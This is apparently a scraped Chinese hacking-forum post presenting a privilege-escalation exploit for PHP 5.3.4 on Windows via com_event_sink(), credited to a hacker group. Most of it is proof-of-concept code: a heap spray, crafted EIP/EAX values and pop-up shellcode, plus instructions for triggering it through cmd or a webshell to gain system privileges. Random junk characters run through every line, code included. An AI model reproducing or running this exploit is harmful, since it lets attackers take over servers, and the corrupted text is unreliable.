|
|
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
3 c j% J$ ~% G( Y4 n. B$ Y! o P6 ~4 d+ R, R3 W
测试方法如下:cmd /c x:\php\php.exe x:\test.php
" a- q0 g' R! M7 x; a3 f
4 j! `7 L* j) p! A% h6 i下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php0 |) ^5 Z9 w' x+ e$ P ~& h. S/ I* B% M
这里是两个测试的截图:, p* A8 f% N5 c$ x1 d3 ]( d
; H% _3 R9 K$ _( e3 o7 ~9 o( M2 f
* t4 {( d; {+ j" T- r! v; i* \# w {* `+ `
) ], p4 m( p" _4 A! K
6 M- v" _6 }% `, u; F4 t# G成功利用此漏洞的攻击者将获得系统的最高权限
$ G" y* `) F! s$ _+ Y; U+ X1 n: ~+ B+ q4 m) s+ k# p, I# c0 F
k2 a6 Y* @: r g* ^
: o+ R( n0 _$ W G* `, f: t4 D7 Q; O: M Q# Q5 ?
$ o- g K" G& K4 _9 ]关于漏洞分析稍后附上。一下是PoC代码:
# q1 O2 ^2 N* x1 }; r% V$ o
: V/ Z. H- O9 R7 A5 O# q<?php1 I l$ Y0 K. |% `6 u F
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
9 G3 ~) L1 ~" P# k/ Q9 N8 I//$eip ="\x44\x43\x42\x41";
' U& y. e L8 Y/ }; p$eip= "\x4b\xe8\x57\x78";
$ p; A7 n, I, ?# R! m, b$eax ="\x80\x01\x8d\x04";! [" t+ M" J7 \. e' W
$deodrant="";8 ?* Z. T$ m3 y+ Z4 }- a. Y9 G
$axespray = str_repeat($eip.$eax,0x80);
# }& |% K9 s: a* {//048d01903 x3 B: z3 X2 S
echo strlen($axespray);0 s: |# ~7 R7 k) o+ E( N
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
9 t8 P& X( D5 o/ _7 P# I' R0 Recho "Silic Group Hacker Army - BlackBap.Org";
* m& y9 H7 ^+ G) W//19200 ==4B32 4b00
& q# c; A2 q3 N/ W: b3 Jfor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
2 R6 U9 |5 }! J0 R. i+ `$terminate = "T";# ?( R6 ?* @1 U, F
$u[] =$deodrant;
* D4 }& H8 K3 r& U$r[] =$deodrant.$terminate;
% T a- H8 ^3 V' v- I# g$a[] =$deodrant.$terminate;
; K: S8 r( W) m$ ~5 n$s[] =$deodrant.$terminate;
# R8 W) a" \' W. m//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的
/ U9 J% L H* D7 X& D/ g1 K1 L8 y' R$vVar = new VARIANT(0x048d0000+180);. {0 i6 u% d. I# J, Q, s7 d* Y5 Q
//弹窗代码(Shellcode)- _/ \1 ^$ y( P& a( _6 q3 L
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3"; \$ W+ K2 m: i, c- H6 m
$var2 = new VARIANT(0x41414242);
5 d. n' a+ g1 Pcom_event_sink($vVar,$var2,$buffer);4 y5 O1 j1 |; i' `! K
?>9 N! ~0 ~$ s; s
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|